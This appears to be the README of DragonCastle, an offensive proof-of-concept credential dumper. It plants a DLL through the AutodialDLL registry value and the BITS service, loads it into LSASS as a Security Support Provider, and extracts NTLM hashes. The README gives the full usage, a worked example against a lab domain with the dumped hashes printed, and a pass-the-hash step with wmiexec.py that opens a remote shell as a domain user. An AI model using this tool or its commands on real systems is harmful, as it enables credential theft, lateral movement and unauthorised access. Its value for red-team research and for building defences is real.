DragonCastle

A PoC that combines AutodialDLL lateral movement technique and SSP to scrape NTLM hashes from LSASS process.

Description

Upload a DLL to the target machine. Then it enables remote registry to modify AutodialDLL entry and start/restart BITS service. Svchosts would load our DLL, set again AutodiaDLL to default value and perform a RPC request to force LSASS to load the same DLL as a Security Support Provider. Once the DLL is loaded by LSASS, it would search inside the process memory to extract NTLM hashes and the key/IV.

The DLLMain always returns False so the processes doesn't keep it.

Caveats

It only works when RunAsPPL is not enabled. Also I only added support to decrypt 3DES because I am lazy, but should be easy peasy to add code for AES. By the same reason, I only implemented support for next Windows versions:

Build	Support
Windows 10 version 21H2
Windows 10 version 21H1	Implemented
Windows 10 version 20H2	Implemented
Windows 10 version 20H1 (2004)	Implemented
Windows 10 version 1909	Implemented
Windows 10 version 1903	Implemented
Windows 10 version 1809	Implemented
Windows 10 version 1803	Implemented
Windows 10 version 1709	Implemented
Windows 10 version 1703	Implemented
Windows 10 version 1607	Implemented
Windows 10 version 1511
Windows 10 version 1507
Windows 8
Windows 7

The signatures/offsets/structs were taken from Mimikatz. If you want to add a new version just check sekurlsa functionality on Mimikatz.

Usage

psyconauta@insulanova:~/Research/dragoncastle|⇒  python3 dragoncastle.py -h                                                                                                                                            
		DragonCastle - @TheXC3LL


usage: dragoncastle.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes [LMHASH]:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address] [-local-dll dll to plant] [-remote-dll dll location]

DragonCastle - A credential dumper (@TheXC3LL)

optional arguments:
  -h, --help            show this help message and exit
  -u USERNAME, --username USERNAME
                        valid username
  -p PASSWORD, --password PASSWORD
                        valid password (if omitted, it will be asked unless -no-pass)
  -d DOMAIN, --domain DOMAIN
                        valid domain name
  -hashes [LMHASH]:NTHASH
                        NT/LM hashes (LM hash can be empty)
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it
  -local-dll dll to plant
                        DLL location (local) that will be planted on target
  -remote-dll dll location
                        Path used to update AutodialDLL registry value

Example

Windows server on 192.168.56.20 and Domain Controller on 192.168.56.10:

psyconauta@insulanova:~/Research/dragoncastle|⇒  python3 dragoncastle.py -u vagrant -p 'vagrant' -d WINTERFELL -target-ip 192.168.56.20 -remote-dll "c:\dump.dll" -local-dll DragonCastle.dll                          
		DragonCastle - @TheXC3LL


[+] Connecting to 192.168.56.20
[+] Uploading DragonCastle.dll to c:\dump.dll
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to 192.168.56.20
[+] Updating AutodialDLL value
[+] Stopping Remote Registry Service
[+] Checking BITS service status...
[+] Service is down!
[+] Starting BITS service
[+] Downloading creds
[+] Deleting credential file
[+] Parsing creds:

		============
----
User: vagrant
Domain: WINTERFELL
----
User: vagrant
Domain: WINTERFELL
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: vagrant
Domain: WINTERFELL
NTLM: e02bc503339d51f71d913c245d35b50b
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: WINTERFELL$
Domain: SEVENKINGDOMS
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: UMFD-0
Domain: Font Driver Host
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: 
Domain: 
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: 
Domain: 

		============
[+] Deleting DLL

[^] Have a nice day!

psyconauta@insulanova:~/Research/dragoncastle|⇒  wmiexec.py -hashes :d977b98c6c9282c5c478be1d97b237b8 SEVENKINGDOMS/[email protected]          
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
sevenkingdoms\eddard.stark

C:\>whoami /priv

PRIVILEGES INFORMATION
----------------------